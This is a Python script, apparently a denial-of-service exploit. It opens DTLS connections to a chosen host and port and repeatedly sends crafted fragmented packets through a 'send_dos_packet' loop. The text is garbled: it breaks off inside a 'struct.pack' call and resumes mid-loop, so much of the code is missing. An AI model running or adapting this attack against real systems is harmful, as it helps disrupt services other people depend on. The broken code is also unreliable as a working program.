#!/bin/env python3 from cryptography.hazmat.bindings.openssl.binding import Binding from OpenSSL import SSL import argparse import os import select import signal import socket import struct import sys TIMEOUT = 3 def init_dtls(): binding = Binding() binding.init_static_locks() SSL.Context._methods[0]= getattr(binding.lib, "DTLSv1_client_method") def log_info(s): print(f"\033[96m[*] {s}\033[0m") def log_success(s): print(f"\033[92m[+] {s}\033[0m") def log_error(s): print(f"\033[91m[-] {s}\033[0m") class Packet: def __init__(self, fragment_id = 0, no_of_fragments = 1, fragment_length = 0, fragment = b""): self.fragment_id = fragment_id self.no_of_fragments = no_of_fragments self.fragment_length = fragment_length self.fragment = fragment self.pkt_ID = 5 self.pkt_Len = 0 def update_pkt_Len(self): self.pkt_Len = len(self.fragment) + 6 def __bytes__(self): self.update_pkt_Len() buf = b"" buf += struct.pack(" -1: connection = Connection(args.host, args.port) for n in range(4): connection.send_dos_packet(i+n) i += 1